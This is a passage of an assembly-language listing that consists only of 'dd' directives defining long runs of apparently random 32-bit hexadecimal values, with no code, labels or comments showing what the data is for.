62206EE1h, 80B8D8E9h, 40B4D188h, 55CEDA53h, 5A9330DCh dd 5CCA6ABCh, 0C0BF80D9h, 314FA22Bh, 0A295A9A4h, 0D57BB66Dh dd 9B4EAAE6h, 0F835A200h, 902D7C1Fh, 0B5C6F8A2h, 0A361CB22h dd 20E27809h, 0FF8087FCh, 0CE2E5BC7h, 72281A6Bh, 0F9290881h dd 6E1A7158h, 4DD42088h, 3405B3B2h, 80571155h, 0EEAAD07Fh dd 0FF29A825h, 0E041B6B2h, 47BD00C0h, 30710B43h, 2204D5F7h dd 52A8185Bh, 8D54BDFBh dd 9FA565CFh, 0F15F28BEh, 23EF824Fh, 3D50C259h, 535F95EEh dd 0D027D730h, 0F5801FEDh, 0F0D9D7E2h, 0FE9D504Ch, 0B649F3D4h dd 0E1C10B72h, 0CE070005h, 9DF9F578h, 0CA31FF02h, 0BA9EC6F0h dd 0CBBB3317h, 4554840h, 78533F6Dh, 365107FAh, 0C3A8619h dd 0B96C4613h, 2AF71905h, 31B10280h, 3D149DF8h, 0E0D30DC5h dd 5B2F8109h, 426885BAh, 0C196B83Eh, 0D4F0E967h, 5828A93Ah dd 9A8A2030h, 3FBD3E3Fh, 0D10C5CB0h, 0B535B0A7h, 3E82DE89h dd 43046C4h, 840FC90Bh, 2EB0B808h, 2FCAB454h, 16B44408h dd 2ECEEB5Bh, 3042C700h, 466649C0h, 7CE9531Fh, 0A917F67h dd 0A893318h, 71E78804h, 3CAC6644h, 0C7300283h, 800F893h dd 0C0CAB753h, 0E68005EFh, 0CFFE36C6h, 0A5901404h, 5E2FEB25h dd 2F1252D2h, 4843945Eh, 5DCB048Eh, 0FC546C68h, 751CB3Bh dd 6B177A87h, 5382CFA4h, 84507B84h, 0EB712C68h, 6467C68Ah dd 1CF2F053h, 5B044015h, 71E9FB87h, 0C0E744FBh, 855AE204h dd 0EC978BE9h, 0C875C69Eh, 5FE50573h, 0B373314h, 62040EE2h dd 1280BFCFh, 0B8E2C142h, 62F026C8h, 7ECDC316h, 36844C4Bh dd 0C25C90FFh, 6274F09h, 0C0ECC2DDh, 2764C95Ch, 8022679h dd 75B3577Ah, 41D11D9h, 7C812BFh, 224290ECh, 35602138h dd 10A13732h, 670F2408h, 8C1B24Eh, 51238247h, 0A3C45C27h dd 0A3C4924Ah, 7EB6A7BFh, 18BD192Ch, 0DFA86240h, 77C1BF82h dd 0EBC74846h, 2B61B404h, 0B0AA5930h, 0C35F9ECBh, 232A6244h dd 6DA6B800h, 29283C7Bh, 0F72CB0C6h, 78C0EDB7h, 0CF2A0471h dd 1D704F36h, 72CDDF09h, 873A0FC5h, 4F033F4Fh, 0CEB0682Eh dd 0A9985888h, 3700F6F8h, 1D0D6FAh, 4555EF1h, 9C288968h dd 0AAF1EF9Fh, 2D39006Bh, 0C563B5D7h, 263DF9B5h, 84622FE2h dd 0D8AFF657h, 844BAAE9h, 61107716h, 9CE18092h, 981CCC4Dh dd 19B80947h, 9F778D7h, 0D221DDFAh, 0EA911F1Dh, 6F446B69h dd 56ED0940h, 0FCCEAAD3h, 5A41FAEEh, 900A24AEh, 3E3B5A9Bh dd 84DC2D4Ch, 800215CAh, 76D88CCFh, 0BFFAF776h, 4BEC625Ah dd 0F89488A6h, 0A8CD8C7h, 0C760D2FFh, 46D300F4h, 0F05921DAh dd 0B4688214h, 6B42F664h, 0DB28C465h, 79524F0Ah, 8A2EB627h dd 49B7F62Dh, 8A655759h, 0E2306CD0h, 8F169966h, 321C002h dd 2EA222E9h, 0B755F44Fh, 0AF5B55F3h, 9F89895Fh, 62547C4Ah dd 2F1B7D22h, 0E4F85ACDh, 1CA8075Bh, 16F3EFE5h, 0B3586354h dd 0B84E280Eh, 24F198C4h, 0E82F387h, 48AB6340h, 7BA8DC80h dd 14B0946h, 9C317599h, 2C420AC6h, 92AC2CD2h, 0E11BEC5Ah dd 372F0A68h, 27BC8F8Bh, 7752567Ch, 0AE5CF260h, 98D04E9Fh dd 7EB87978h, 4F00B8F6h, 0BE65C42Ch, 148405B7h, 7633FBA3h dd 0D959A24Fh, 0A450942Fh, 6C3EE207h, 0C981E031h, 0F12F3670h dd 8888F945h, 0F72DCD13h, 2FC0DA0Fh, 583FA63Ah, 0E5E03509h dd 0B18FD544h, 6020BB17h, 0C4147F85h, 0BFC59340h, 896F56F6h dd 0F9A55EC4h, 0FD1929EDh, 7C1096BEh, 3EA5B694h, 277EDE28h dd 0AFFDA9ECh, 7045096Fh, 333CE743h, 56802A5h, 0E0409170h dd 202473C1h, 7A25E724h, 6B94204Dh, 6D93BE04h, 0B833BE8h dd 36E264Eh, 1A4F034Fh, 8C76512Fh, 556EA413h, 72AB44ABh dd 68660130h, 0FC6B3C71h, 542DE136h, 6BCEF5C2h, 324AADBEh dd 57C845C2h, 628B7247h, 0C12D1499h, 95167AE4h, 1466026h dd 2C419D3h, 0A9B72E32h, 8CEFFDACh, 0D7045C92h, 0E61E4238h dd 345B3736h, 2F01ABF5h, 748C6DDFh, 1412C33Ch, 686E2831h dd 7D449131h, 0FA04AF4Dh, 35D03141h, 0C3D9E310h, 0E262A030h dd 0E95A1AA7h, 0D90A4B57h, 2F171E4Fh, 37911CF3h, 362CAB4Eh dd 30EA2E68h, 9924C4h, 0AC5A88CFh, 0B12DE944h, 8BA6D9A5h dd 0FA305BF7h, 60827AD3h, 0E202D5F4h, 0AD89B78Eh, 95F0947Dh dd 0B81B74D1h, 0BF7F0237h, 868B3C1h, 6ACED0C1h, 3DAB7684h dd 0C1B4028Bh, 680745D4h, 7F0B6BE4h, 43E02C32h, 57763EA1h dd 811054B7h, 5A15B850h, 66C87038h, 0C245AA63h, 0CEBE854Dh dd 1CF45A60h, 0E91E4094h, 76078525h, 0AA52650Ch, 0F1513683h dd 746AAC8Fh, 4A50F853h, 0E96420FFh, 1ABFA017h, 595457F3h dd 808CD43Bh, 5720EA6Bh, 5B6C0E0Ch, 6D514CCh, 4E3075BDh dd 21CEC95Ah, 0C3E53AC3h, 676FF06Eh, 130280Dh, 3AEC7AF7h dd 405B340Dh, 0A90FA02h, 367D52h, 2FDA2D6Ah, 0C7293AC4h dd 0AF5EBDB8h, 97168C31h, 0C37E0F05h, 477DCFE3h, 508808E1h dd 77AE6877h, 50AD2AE1h, 757681B5h, 8B86F92h, 80D0F1A2h dd 0ED0FCAF6h, 654C947Bh, 4EBF9FBDh, 0EB523DA8h, 4D60A060h dd 0C12B1378h, 88920FE5h, 1E3148B0h, 0D54B38FEh, 0CE3551A3h dd 0FB4CF3C1h, 63E17BF1h, 31E1092Bh, 0C708ECD5h, 9721A1Eh dd 0BBE8E555h, 0A790A42Ch, 0D138B76h, 1A53C14h, 4F8041F1h dd 5B6489EFh, 52A540D2h, 494ECC9Ch, 4A66DDF6h, 619D5EB0h dd 412A84DFh, 168CE022h, 34E4ED12h, 0B82D68E9h, 0A4991973h dd 0B83F2C25h, 56A2B5CCh, 0BB9AF4D2h, 68902E06h, 0FB0BBF35h dd 0B3D2C57Bh, 0AD6B849Dh, 68C2F4B9h, 6C545531h, 0A43B4160h dd 0BCC09F6Ah, 0E9135D0Ch, 0CEAECAF4h, 0E94961F3h, 0D7C2BE3Bh dd 216A06D1h, 0E167570Ah, 6D3EEA81h, 17A097Bh, 2F73251Bh dd 95FF605Eh, 0A5FF6C4Ch, 6EC129BBh, 0BAE44FFCh, 909A58B2h dd 1396FB57h, 2F6BA11Bh, 411E76CCh, 0F3E83E96h, 0FF783DC3h dd 128FE8Ch, 8D411377h, 4304FE52h, 0EF128B2Bh, 8A841004h dd 0D400BF14h, 116810Eh, 68255FFDh, 0BE66D56Eh, 0C15ABB02h dd 0DE7BE96Dh, 0A843CD4h, 9346DC42h, 1707B2BDh, 642D49C6h dd 0C7A843A4h, 1A775C25h, 0F8145FD4h, 0EAE98C88h, 0DE177D60h dd 5620685Bh, 1374FB0Bh, 0EF6A9E2Eh, 0C253ED81h, 0E2D80005h dd 0F742756Ch, 5DD2DD60h, 903A3054h, 31157871h, 0E9DE9865h dd 0C14335EBh, 7C97ED0h, 0ECDC15AFh, 0F00DC50Ah, 0A8D8D152h dd 3B253402h, 7F09BA0Fh, 5D6E0D0h, 3A5998F0h, 9AE8011Ch dd 0DEE90A08h, 0FF668793h, 77618232h, 89A45376h, 9E17A88h dd 0EA765F5Eh, 9E01F026h, 3175332Bh, 19BBAD2Bh, 0C04C66ADh dd 670CBA30h, 80D00B50h, 0C708B004h, 800C17B3h, 38526AEFh dd 0D73B2BB2h, 0CFFE5A0Fh, 30ABB621h, 0E1930F7h, 0D8EBEFC1h dd 60FE695Eh, 332ECD67h, 21FA2436h, 90E3FFECh, 9DEF307Ah dd 47665D14h, 0E775D1E4h, 7C301FB0h, 77CF0A23h, 0C15C14Ch dd 3836E9CBh, 315813A5h, 1BA6214h, 4A45411Dh, 4360FA01h dd 0A1ADBA3Fh, 0C875E773h, 0E2A7863Ch, 185D36F0h, 2C6F2D60h dd 2D009C5h, 95B9E9DDh, 7982445Fh, 91972A53h, 3EE248A0h dd 1F7E9B10h, 96C9C9FEh, 0C1801A45h, 2F20DEE7h, 0F1557F65h dd 5F00C27Ch, 8306E2C1h, 0DABFFFEAh, 0D6155912h, 4782B902h dd 1B7646E5h, 2EA2BC0Bh, 0ED37C677h, 72F2BF0Ch, 0E516BCB0h dd 0D1BAC2F0h, 2B336C47h, 680A45E7h, 92BA5C4Dh, 0EA42900Eh dd 0FA245D34h, 211C9B30h, 0E9548561h, 183DB87Fh, 917ECB01h dd 62F09608h, 0A7B04EBCh, 9394AEDCh, 328A554Bh, 82C091Ch dd 5366D800h, 202EC7B3h, 0C02721DDh, 82B5BEC8h, 3F3BF080h dd 89416E99h, 0A1419565h, 64D97291h, 83328AA8h, 0FC59D108h dd 0F43FA025h, 833D5B9Dh, 2D4800E8h, 29D57482h, 0F51F0235h dd 0F6E96CD3h, 0AC093858h, 5C469268h, 0D44F6206h, 13E4E77Dh dd 44DF946h, 0FF29D4F6h dd 58D8DF82h, 58679770h, 296DEB3h, 5358C363h, 66425B59h dd 823A6A75h, 7ADF400Ch, 0C32C2767h, 605AD456h, 0D28CD9BFh dd 0FDB3EB28h, 0CB1D492h, 5B1288DDh, 4FDF8718h, 2615B09Ah dd 1E6D3FADh, 0D30F02A8h, 76B9F829h, 52C26A5Dh, 0DF06758Fh dd 0E49F7675h, 3F1B9870h, 833CFB5Fh, 1623B44Eh, 6EE4994Fh dd 6D7E0B3Eh, 0E15C4359h, 24D1E300h, 4AE90577h, 316F09C0h dd 919C1A40h, 1713C388h, 0B901601Ch, 0E908403Dh, 668B8A2Dh dd 48E82035h, 0E31C817Eh, 3BBAF1Eh, 5A2E72E1h, 58ECDA6Ah dd 0CB80135Dh, 2849BE0Ch, 0A75C8512h, 4FECB0C3h, 1264FF78h dd 0A11C90FEh, 0BDF6DF06h, 590BA568h, 27DBCA08h, 685638F7h dd 69A4B684h, 1FC7105h, 0FB55E26Fh, 370C826Ah, 0E1524D80h dd 74205BEFh, 51A5A4B3h, 0A97BBDB6h, 86159F16h, 3FC24082h dd 47C69D12h, 0B3CBFB21h, 0F1626602h, 0A1A682DFh, 0BB95D1Ch dd 54C33482h, 5AA65D5Ah, 45F701CBh, 0B37985Eh, 0DE5A8859h dd 6BB1282Ch, 1E020D2Bh, 32E6BCE2h, 6814E0E6h, 0A13A1680h dd 975479E9h, 4E3F31E4h, 0F1BBBC2Eh, 0F310983Ah, 53247D50h dd 0C100AD7Eh, 290C4D1Ch, 807C90DFh, 12215B08h, 0F16EE9F8h dd 255E0A4Bh, 0A7F8FC7Ah, 9184BC5Fh, 92D28893h, 5BB95100h dd 0FF0D1056h, 0D03F306Ch, 0CD0CEB44h, 0B05FB106h, 6034730Ah dd 6D460C28h, 94F1BC5h, 16C7BF00h, 52D67C0h, 14E9F921h dd 0F097567Bh, 0E17A872h, 21EB4EADh, 0AF86FBA4h, 2BFA4067h dd 2A46250Fh, 0DC58334Ch, 60ED80D2h, 0F647C502h, 2776BC17h dd 3F4C7D71h, 0BDB6E6E9h, 68C17D5Ch, 0B23F56D9h, 62359A78h dd 19217D27h, 2CBC88E9h, 9A568ACBh, 0D1506917h, 0C9C60387h dd 0B00C434Dh, 346BF2E6h, 0EB18382Bh, 0BB85D321h, 225D5B01h dd 7E2130Eh, 0FD5E7B32h, 0E775FCE2h, 0A0361335h, 5E09BEDCh dd 7D4878C4h, 9FCD8982h, 0A102C90Ah, 68612D50h, 0B75F359h dd 194CB95h, 0E71D9F98h, 426DD9B7h, 49E8CE19h, 2E00A40Dh dd 2B05072Dh, 2EE704F4h, 1443C689h, 2884EA7h, 3FCC55A5h dd 4EEEB4BDh, 0BA0ED430h, 37747907h, 0DDD20917h, 5A1AC861h dd 0F3A75E68h, 76548FDh, 379815A4h, 7F092CE2h, 33FE6698h dd 34AD4Ch, 971C30F7h, 4BB0E9B5h, 4AFCCA7Ah, 2179D1AFh dd 50B20172h, 0A706E02Eh, 8280D6AAh, 2BC8083Dh, 5E36D895h dd 80F6B931h, 3BE9CF01h, 5279971Fh, 8FA6103Ch, 6EFC116h dd 5159FE12h, 9012E197h, 19A66803h, 86416490h, 176A79E8h dd 0EA5F24C6h, 32EF8400h, 9517CC44h, 572C8F78h, 0F2DBF53h dd 0AA04526Fh, 0F6EFAFF1h, 6352245Eh, 25EE5AE4h, 50C7A0F6h dd 0F7E88825h, 99D32602h, 0FF5B247Ah, 0B9A9BA31h, 805E2C79h dd 9C63E16Bh, 13F80B5Ah, 0D2778AB2h, 683C0BBDh, 8E446746h dd 55095279h, 0B20022Fh, 0B9E87F23h, 6C9D6318h, 0E9530849h dd 7D256544h, 0E5D1078Bh, 0E6F25596h, 4F4E697h, 3FD7175h dd 3BFF819h, 4C5A1552h, 4B07B9DAh, 0A2603E4Ah, 5A7F8245h dd 48535D94h, 0D350604h, 0EA84AF3Bh, 628D0713h, 0B5894BECh dd 5967CAAFh, 6F0CFC46h, 4F3D4A07h, 42D2C101h, 0B14667Bh dd 311353EAh, 0EE14FA7Eh, 8D125008h, 2FABF24Eh, 6C68092Eh dd 5A0E9221h, 4CC105DEh, 0ECC47A0Eh, 4468092Dh, 0A996D56Bh dd 0BAC4294Bh, 0D2EEE2BEh, 9F1149F4h, 4D579109h, 2F89A4FFh dd 0E961D674h, 7734D2BBh, 0A6D05E28h, 0A8B65120h, 43FAEDB1h dd 81155800h, 1270EBC2h, 2512B72Bh, 5432F457h, 57C3E924h dd 0A08CD1A7h, 1BCB0BC5h, 73B16098h, 136BF05Ch, 685524C1h dd 0B1694BBBh, 0E152E0A5h, 405F1510h, 0F7C3142h, 237010BEh dd 65A6F187h, 9AC80750h, 655F0988h, 0F45618D8h, 580D6FB9h dd 0BBDBE57h, 235E0E40h, 292F10FFh, 5A0840D6h, 84E67E9Fh dd 0D873AA68h, 0D040580h, 0F9016482h, 2418BAAh, 4E45D6E9h dd 25327506h, 8B5A6577h, 2CB42192h, 9802BA20h, 49FD0FE0h dd 5264796Eh, 9E07A898h, 0C8ABCE0Bh, 1F02645Eh, 98595D33h dd 0AEF3C6D7h, 7F890596h, 0A5345E4Fh, 0C2607070h, 6D1EF73Bh dd 0F43B584Dh, 0B8A48F40h, 9324B12h, 5EE85BD6h, 35C0AEE6h dd 9F7AFEEBh, 9B0CC172h, 703E779h, 3EA50B51h, 1AD5D42Ah dd 14010C08h, 7C27AD68h, 701ECBFFh, 9D17A096h, 2D3B987h dd 0BA061791h, 253FD2DFh, 7C0E9EE9h, 916EF6A6h, 702BF300h dd 0BD555763h, 549C0644h, 0C5B3E94Fh, 84235A4Ch, 0F018BFBh dd 7251C0B7h, 0BECB100Eh, 1841B44Bh, 0EDD27A13h, 35E9CFF0h dd 90975285h, 434C9B99h, 0E12A287Dh, 0D02FADBAh, 57179A5Ah dd 6B371D82h, 0CA60B8FDh, 327D95A6h, 7146FFE3h, 0C8B7DD98h dd 9491DC3Ah, 0B85696C0h, 4D990C8Ch, 41DE1EDBh, 0DF80E2EFh dd 0D62A0CFAh, 2DE8093Fh, 70374248h, 2D687BEEh, 45D84E34h dd 83A3DE9Fh, 50437714h, 0A5B01879h, 0F5EBA960h, 27FF20DCh dd 0E4D329E7h, 3442828h, 1D2D7CF0h, 5D0DB31Dh, 5ABFC960h dd 7CD52248h, 3AD99381h, 0B901587Ch, 25CE4A7Dh, 80C22F49h dd 0EEBA0485h, 4C8FE54h, 66E43CE2h, 8AC6D092h, 5D424708h dd 4F1A4409h, 8C611607h, 0D85B306Ch, 0BAB527FDh, 4C20BCE5h dd 8C324B2Dh, 0E9275730h, 91D3580Fh, 6E2560C1h, 2EF71064h dd 35CC06E1h, 5E12E86Fh, 450BB0DEh, 0DCC0A0A1h, 125345Fh dd 0C3D9F1EEh, 0FC25E40Ch, 9F3AFABFh, 0FC9CDB09h, 0DEDD2625h dd 0F564EF8Ah, 5B1E132Fh, 3270FFDh, 8107201h, 10E91B08h dd 6D5BA9E1h, 8B85E86Fh, 0AFD03Dh, 0DDF6B9B5h, 52C1ED80h dd 7A8B23Ch, 6E2C0D2h, 78BEF2B2h, 0C0CFF7CBh, 4533FE5h dd 7DE982B3h, 1BA2FBC8h, 7178998Bh, 4135BA05h, 0BC821907h dd 0E2810097h, 0B8270F69h, 264C5225h, 3F751890h, 106CF202h dd 494278E6h, 5F4FB270h, 0F53177D2h, 0CF822FE6h, 0DCC28576h dd 46F40BB6h, 0A3020226h, 8666AD6Bh, 9417A3h, 0F70813B6h dd 5E7C05Ah, 21585690h, 35988135h, 42BF64D8h, 6A684106h dd 0D95AD77Eh, 0EABCE085h, 9EEB80B0h, 0B581B19Fh, 83C3E3E3h dd 8A22FE28h, 36C0C11Eh, 72C77780h, 890BB968h, 261FE5Ch dd 21629AF6h, 601752Dh, 2B3F010Dh, 0E984F6B8h, 5F8DA05Ch dd 990BCB0h, 1511169h, 2A9A46C1h, 9D330160h, 0EDDCF562h dd 2C06E2h, 0A30140B9h, 18C22A4Eh, 56A0D733h, 8D2EF9EAh dd 7558212Dh, 64E0DB92h, 30BB951h, 37065Bh, 5376FAD8h dd 22048059h, 8C47932Ch, 0EF417E02h, 0B097543h, 0A776E57Fh dd 2031F6C6h, 6C02E385h, 25600AAFh, 0AE9406ECh, 1A8566Fh dd 8E0000D3h, 0F77FAB48h, 1DC4D548h, 0B7C1F8E5h, 760AE930h dd 7B0EB72Eh, 16AADD30h, 0B3840BBh, 0EB8367F1h, 133D7526h dd 2DBDE0B7h, 4CF0F248h, 5287D36h, 0E4E91207h, 2E2BDE2h dd 1B6163C9h, 0DED1FD31h, 64B071AFh, 8B3B8CF6h, 17E0731Eh dd 1641A4CDh, 0F9CDC081h, 3001AD77h, 9A00B02Ah, 0EB897CD2h dd 0B1C711E9h, 31C802E4h, 0CF61354Ch, 5D590213h, 68F01D54h dd 0BA189D33h, 70604EE9h, 44DABE52h, 9CD895D0h, 0B451F709h dd 42E40028h, 1629542Dh, 40BCE9C6h, 0CE814E9Ch, 0F03E4964h dd 0C4F81340h, 0D911DCBFh, 0C217A760h, 5AA223DDh, 1017E850h dd 0A14F8E51h, 7586E1C1h, 0D9ED3E03h, 0AB6AFC85h, 8DDF2BB2h dd 7E0A6EBDh, 0B8377581h, 0D38BE72Ah, 602B1E09h, 12515304h dd 0A8C01BB1h, 13B02CF0h dd 0F604E000h, 0C58334D0h, 0C3842C08h, 0C9018C23h, 0FA572EC3h dd 0FD454B41h, 0BACF91Fh, 0DAB1D21Ch, 0A8623A45h, 9CEB938h dd 30E31D28h, 5772848h, 0AD54EC5Eh, 0FB35C5BAh, 0A3EACA40h dd 0DF31E584h, 0BBE2A522h, 6E54BFE1h, 97302CC8h, 68ADDB80h dd 96B47319h, 232EF360h, 0B82D5E78h, 7E0289F2h, 1A7D275Eh dd 3F05F7EAh, 47A74416h, 8FCABE6Ah, 0ABB1337Ch, 2309360Bh dd 0F2801B3h, 0ABE2E98Fh, 0E121604Eh, 165F2D18h, 81394F59h dd 0E9AAD576h, 0E23EB92Ah, 39A296C7h, 95F59C4h, 0E9C85066h dd 0F1526E60h, 20E945E4h, 0F09F587Bh, 0B98D279Eh, 5851FFF6h dd 96EF34F4h, 1BF4805Ch, 0F1295A79h, 182D42B8h, 1039DD93h dd 0D4C5F4D9h, 0B72C46BFh, 0B68B8BFCh, 0B8675569h, 0A52DA62Ah dd 6C98FD69h, 7C82FB03h, 0CCA836Ah, 95EA22DFh, 0D97DF94Ah dd 455FCBC5h, 0E581A570h, 3B819CE9h, 78AA82D2h, 0C2CB9E34h dd 1B08CCB9h, 0BE88511Eh, 9E842668h, 0F9888366h, 0CFA2D1F6h dd 0FB2B5AD7h, 0DB68FE2Eh, 73988402h, 2AA72951h, 0D5BD6C00h dd 0A07B583Ch, 0C12F65D4h, 0A1614A17h, 1C05E809h, 0C55A14CEh dd 47FB9F70h, 3F71BBF3h, 2EE80173h, 7B517B3Eh, 0EC9351F1h dd 9362AB19h, 80776825h, 68CF09E6h, 6AB17920h, 0F4132F2Dh dd 4B8FA7ADh, 0BE623BA4h, 0DE01554Bh, 28920743h, 305B62F9h dd 8EA68382h, 0B7CB140Fh, 0DD71FAF2h, 0AC022A9Ah, 5C045A63h dd 681CA0ABh, 333F6631h, 970314BEh, 164D0588h, 0F0258228h dd 0E96CE997h, 7A65B061h, 0DB5C9538h, 4BC824Eh, 0C0987144h dd 2B276B18h, 0ACF0E0Ch, 0D1011A62h, 997BD9Dh, 4BFA852h dd 26200BB7h, 16C715B0h, 0A11C31FDh, 0B7DFC8B1h, 0E66448B5h dd 9A751734h, 0B43B017Eh, 6F50C558h, 0DD01CDA0h, 0E3FE9606h dd 7A34BC5h, 3A20AF90h, 20962976h, 1EC3C2h, 0B148A8B9h dd 3EB55D5Ch, 0DE9FBF08h, 0C8419AC9h, 25CD2D34h, 14194460h dd 9E372849h, 2AC3F84Bh, 0C6C5ED59h, 8DA2681Ah, 0E4085B7Eh dd 0D28BF117h, 16E1D4FDh, 8BB7F04Dh, 4F388A53h, 0D929DBD2h dd 7DDC09E4h, 7EAD17D1h, 3B5CD285h, 0E69AE9E1h, 4ADF1434h dd 0EDA1B15Bh, 2547780Ch, 0E4B5795Eh, 92544533h, 4278E2ABh dd 1FBF5831h, 4C527031h, 0A4444DE8h, 0C9810749h, 7D79059Ah dd 5AC36015h, 86B49113h, 56A718B1h, 5D5432h, 9B432B28h dd 0D5BB051Ah, 0ED77AE08h, 10370BDEh, 42F0097Ch, 503670B9h dd 1FC4CE51h, 0CD1FDB1Bh, 3F1E8393h, 47A72B1h, 4618187h dd 0F1AB5E5Fh, 8887D516h, 3756C1Ch, 2154B6BEh, 0E241FABDh dd 395C7882h, 9A023121h, 0BA5B04BBh, 7226629h, 5B9B0610h dd 0B84E1C04h, 12C3D618h, 1246782Ch, 8F0FAA10h, 0ACD32047h dd 0B72D5B4Dh, 0F35BF94Bh, 0DCE84B92h, 0D78CAF4Ah, 0D4E92D5Eh dd 0BBD7490Fh, 0BA5C9D32h, 119C0027h, 12776C4Dh, 0D05C49E9h dd 7FBF6E6h, 0FC0C9E60h, 0A0C9F0E5h, 255CC6FDh, 0E07F30AFh dd 0A205E8B6h, 0E9B2A20Ah, 9709F75Eh, 92D94D5h, 7B116866h dd 0F4E94E68h, 0BB09AFB2h, 82AE79EBh, 17A278Bh, 6B28A368h dd 8480C2D9h, 79B002C4h, 4596EA81h, 0DE2077A5h, 864FFD40h dd 39976817h, 36C64660h, 0B11A5A70h, 6BB5E98Ah, 0E036A81h dd 82300AEDh, 10A04C21h, 10BEA4Ah, 5A26207Dh, 0BAD58745h dd 63902DABh, 0C208B9E5h, 82F62FA0h, 449DC501h, 1CF478BEh dd 0CAD3C642h, 0CD202F6Fh, 84DCB557h, 8CE5993Ch, 0E87FD641h dd 0C921A5FBh, 16A491CDh, 9DF64BEFh, 753B400h, 26A7B863h dd 97B3E59h, 0F37572A9h, 6594426Eh, 0F4C75E04h, 0D76B4582h dd 0F42D3D71h, 37DC2748h, 923B0950h, 538A06Ch, 82229CACh dd 0EF6102F3h, 53A280D5h, 1306AD68h, 135B6E2Dh, 99C40841h dd 1C31B426h, 0F46A150Eh, 3F0DBB19h, 0D25A5DF4h, 0BE90700h dd 0B886C0DCh, 1D2705A3h, 4800BF98h, 5258C335h, 12712D01h dd 0B1AAE77h, 65D788E8h, 0E35793DEh, 20E983EDh, 0EAE902B0h dd 66D171E6h, 0E230DBE1h, 0E5C6D209h, 0D2F3AC6Bh, 817A9DF5h dd 88406068h, 26E70882h, 92A73B86h, 0D4EBCCE9h, 0DC64DFB1h dd 0AB13CAA6h, 761C4CAh, 3BC9D9E9h, 60894BE9h, 0C5804E60h dd 0B1ACFE5Eh, 0F4BB41Eh, 0EC6052F4h, 58E52869h, 0E9EA2005h dd 8737D6F1h, 12FF6785h, 0B72EBB7Ah, 8B78FD5Eh, 0B946A0C4h dd 71435AE2h, 71192568h, 0DD2A21E6h, 32ECF055h, 0F5C68997h dd 0DBF63964h, 16ECB94Bh, 716E5AC1h, 5AF22A11h, 5E4DBF00h dd 0FB891AC5h, 0A64E3CF8h, 0A2C121EEh, 0C18C7850h, 5D19FA6Ch dd 2129096Eh, 0D746FC84h, 6D6560E3h, 6496907Dh, 9DF5D82Fh dd 7060660Bh, 975EB815h, 0A6AE46C4h, 0BBE90B0Dh, 46F111ACh dd 0B7041578h, 0FFE73018h, 2D8038E0h, 545977CCh, 0C03BB541h dd 0AFAD046Ah, 45A09A0h, 17BA122Ch, 1F8ABACAh, 17C4BFC4h dd 0C2F25ADh, 0C1FE8602h, 0C1964275h, 132A85A5h, 0A6DFAAA6h dd 0EE5BCE5Ch, 9345F971h, 9ED3392h, 66F73880h, 7768127Ah dd 512DEF03h, 18627820h, 3E3E4F25h, 340D6EF7h, 1CFD011Ah dd 821C0806h, 4961F114h, 1B2F9672h, 0F09CFD76h, 12664D24h dd 0E74AC687h, 0DDDFF722h, 0B1F04B50h, 1984432Eh, 40BCF01h dd 18846F3Dh, 0AFB663CCh, 0DED59B01h, 9E8B063Ah, 5860295Fh dd 0F9252233h, 1626143Dh, 0EB49CD87h, 9D08D3C6h, 0E7066998h dd 5AD1900h, 63792808h, 2509EE2Dh, 0F5F04E68h, 12E50783h dd 0E82CAF11h, 54C90B05h, 7B765E28h, 2D0008A0h, 614C136Ah dd 1257C829h, 0BB4D0AE9h, 0C2BFC025h, 0B5E4D9EDh, 4F2FF17Ah dd 0CE09D5BFh, 5AD326B8h, 92945F97h, 0A57EE912h, 1B07D825h dd 73D46ABCh, 2A836FC0h, 0FC4B5B87h, 0EF6D1021h, 46A9680Ah dd 0BD7592CDh, 31317BADh, 2DC51714h, 52D4236Fh, 0EFAB28CAh dd 0D02D4C13h, 0F4B30B9Dh, 71F45238h, 74D909C7h, 9612CB35h dd 0FE2C60F5h, 6810A890h, 431D372h, 0A8F9866h, 3A1CAE50h dd 9C0A75CAh, 0E9064118h, 2E606072h, 0FC89CCBEh, 0B05AEB7Ah dd 54221BF5h, 41FAD4Bh, 4FE157EDh, 0ADE475C1h, 0C2A0ED05h dd 0A1722268h, 50DAE949h, 48D3A605h, 48D20E2h, 0E9D4F6F1h dd 28CDEC38h, 0C493E128h, 9873B61Eh, 0F069129Ah, 5C59BF05h dd 384835F2h, 0FED95AA3h, 0F2805D26h, 96D7FA2Ch, 0F1800458h dd 0A0B6B81Dh, 9862B050h, 1D441D8h, 3A617BB0h, 0E84F6DFDh dd 68510250h, 7FE23E02h, 0EA608251h, 134A5B94h, 10CA297Fh dd 5916084Dh, 104FB289h, 9B4CC497h, 0FD4A464Ch, 2EFD76A6h dd 0FCCEB2A5h, 96568C60h, 5002512Eh, 22466368h, 0C6AE607Fh dd 927EB5B0h, 735BF15Bh, 5546D06Eh, 0A01322BDh, 0EE161DB8h dd 8B689642h, 0FA72662Ch, 0B70B4BBCh, 24923E00h, 0B79D78C9h dd 33A8E6E5h, 1C4BFA80h, 0F553155Eh, 0BDEA04ABh, 35F144Bh dd 4F3C2042h, 60D1E140h, 5D5B1472h, 0A8C38187h, 0E575B62Dh dd 28C71FBh, 8EC32908h, 0A2FF5A9Ah, 0F22F856h, 0F84A133Fh dd 0B54B4C0Bh, 20565E93h, 5C694224h, 0B101051Bh, 5289D4B2h dd 0C9AEC55Fh, 0FF313AC4h, 0A9F35277h, 0C36EA175h, 5FA8E17Ch dd 54982C53h, 35E4504h, 1E880108h, 2D8920E9h, 9953563Bh dd 4540D099h, 1C71AA28h, 0A689EBE5h, 10E3029Fh, 13432060h dd 7E2218D9h, 0A9BA43C2h, 7862BEh, 3E2F109Bh, 0E7C12616h dd 0BA863992h, 0A4729A28h, 572D09B7h, 832093C7h, 2567D495h dd 0E92A02DDh, 2F6654CAh dd 0DA129158h, 0F2EE3468h, 0EB616AFh, 0FBF913EFh, 0E55B9D8Eh dd 0C5B03EF4h, 939D4E57h, 61D96332h, 0E2A0ED51h, 7988A274h dd 0B2923D36h, 0EE22208Bh, 42123057h, 0A0B94429h, 0D43C96DEh dd 5F14046Ah, 10E8A651h, 0BF05A1A2h, 825483FCh, 0EADDEE88h dd 0FD81D73Fh, 216A8D37h, 194B3FC5h, 584BE1C3h, 8BF1DC6Bh dd 94BA29EDh, 7E911037h, 1A19B801h, 0D80D33C7h, 641CA17Ah dd 0D56FFF2Dh, 6C9D77BEh, 0BE989613h, 47F10200h, 7E402BBAh dd 0EA295D02h, 0D503D3E9h, 4AF09C3Ah, 26D94F95h, 84BB0B86h dd 958ACEF7h, 545C22ECh, 0C2B5259Bh, 7D4D1AEBh, 0E09F6416h dd 0B905CF01h, 0AE5744F5h, 0FEA457F8h, 5A30C599h, 6FCA2F4Dh dd 4A1CABF0h, 